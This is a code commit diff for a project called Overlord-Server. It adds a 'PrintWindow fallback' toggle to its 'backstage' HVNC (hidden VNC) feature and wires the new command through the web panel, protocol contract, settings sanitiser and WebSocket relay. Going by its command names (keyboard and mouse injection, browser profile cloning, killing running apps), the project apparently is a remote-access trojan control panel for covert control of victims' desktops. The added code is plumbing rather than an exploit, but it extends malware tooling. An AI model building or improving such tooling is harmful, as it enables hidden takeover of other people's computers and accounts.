add DWM for HVNC with PrintWindow fallback

Overlord-Server/public/assets/backstage.js

@@ -117,6 +117,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   const statusEl = document.getElementById("streamStatus");
   const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
   const uiaCtrl = document.getElementById("uiaCtrl");
+  const printWindowFallbackCtrl = document.getElementById("printWindowFallbackCtrl");
   const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
   const targetFpsSelect = document.getElementById("targetFpsSelect");
   let whepClient = null;
@@ -132,6 +133,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
     if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
     if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
+    if (printWindowFallbackCtrl) {
+      sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
+    }
     pushbackstageResolution();
   }
   let activeClientId = clientId;
@@ -186,6 +190,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
     if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
     if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
+    if (printWindowFallbackCtrl && typeof settings.printWindowFallback === "boolean") {
+      printWindowFallbackCtrl.checked = settings.printWindowFallback;
+    }
     prefersH264 = false;
     const cloneToggle = document.getElementById("backstageCloneToggle");
     const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
@@ -211,6 +218,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       keyboard: !!kbdCtrl?.checked,
       clipboardSync: !!clipboardSyncCtrl?.checked,
       uia: !!uiaCtrl?.checked,
+      printWindowFallback: printWindowFallbackCtrl?.checked !== false,
       cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
       cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
       killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
@@ -1281,6 +1289,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       sharedSettingsSaver.scheduleSave();
     });
   }
+  if (printWindowFallbackCtrl) {
+    printWindowFallbackCtrl.addEventListener("change", function () {
+      sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
 
   function pushbackstageResolution() {
     if (backstageResolutionSelect) {

Overlord-Server/public/backstage.html

@@ -191,6 +191,9 @@
                   <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
                     <input type="checkbox" id="uiaCtrl" /> UIA Support
                   </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Allow the compatibility compositor to call PrintWindow on target applications when DWM staging and DXGI cannot provide a frame. DWM staging itself remains enabled.">
+                    <input type="checkbox" id="printWindowFallbackCtrl" checked /> PrintWindow Fallback
+                  </label>
                 </div>
               </div>
 

Overlord-Server/src/generated/wire-contract.ts

@@ -140,6 +140,7 @@ export const COMMAND_TYPES = [
   "backstage_enable_dxgi",
   "backstage_enable_keyboard",
   "backstage_enable_mouse",
+  "backstage_enable_printwindow_fallback",
   "backstage_enable_uia",
   "backstage_installed_apps",
   "backstage_key_down",
@@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = {
     "min": 1,
     "max": 1
   },
+  "backstage_enable_printwindow_fallback": {
+    "min": 1,
+    "max": 1
+  },
   "backstage_enable_uia": {
     "min": 1,
     "max": 1

Overlord-Server/src/protocol-contract.test.ts

@@ -17,7 +17,7 @@ import {
 describe("generated wire protocol contract", () => {
   test("publishes the complete command catalog", () => {
     expect(WIRE_PROTOCOL_VERSION).toBe(1);
-    expect(COMMAND_TYPES.length).toBe(141);
+    expect(COMMAND_TYPES.length).toBe(142);
     expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
     expect(isCommandType("desktop_start")).toBe(true);
     expect(isCommandType("virtual_window_list")).toBe(true);

Overlord-Server/src/server/routes/misc-routes.ts

@@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
     assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
     assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
     assignIfDefined(out, "uia", pickBoolean(input.uia));
+    assignIfDefined(out, "printWindowFallback", pickBoolean(input.printWindowFallback));
     assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
     assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
     assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));

Overlord-Server/src/server/ws-console-rd-backstage.ts

@@ -1363,6 +1363,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
     case "backstage_enable_dxgi":
       if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
       break;
+    case "backstage_enable_printwindow_fallback":
+      if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled });
+      break;
     case "backstage_enable_uia":
       if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
       break;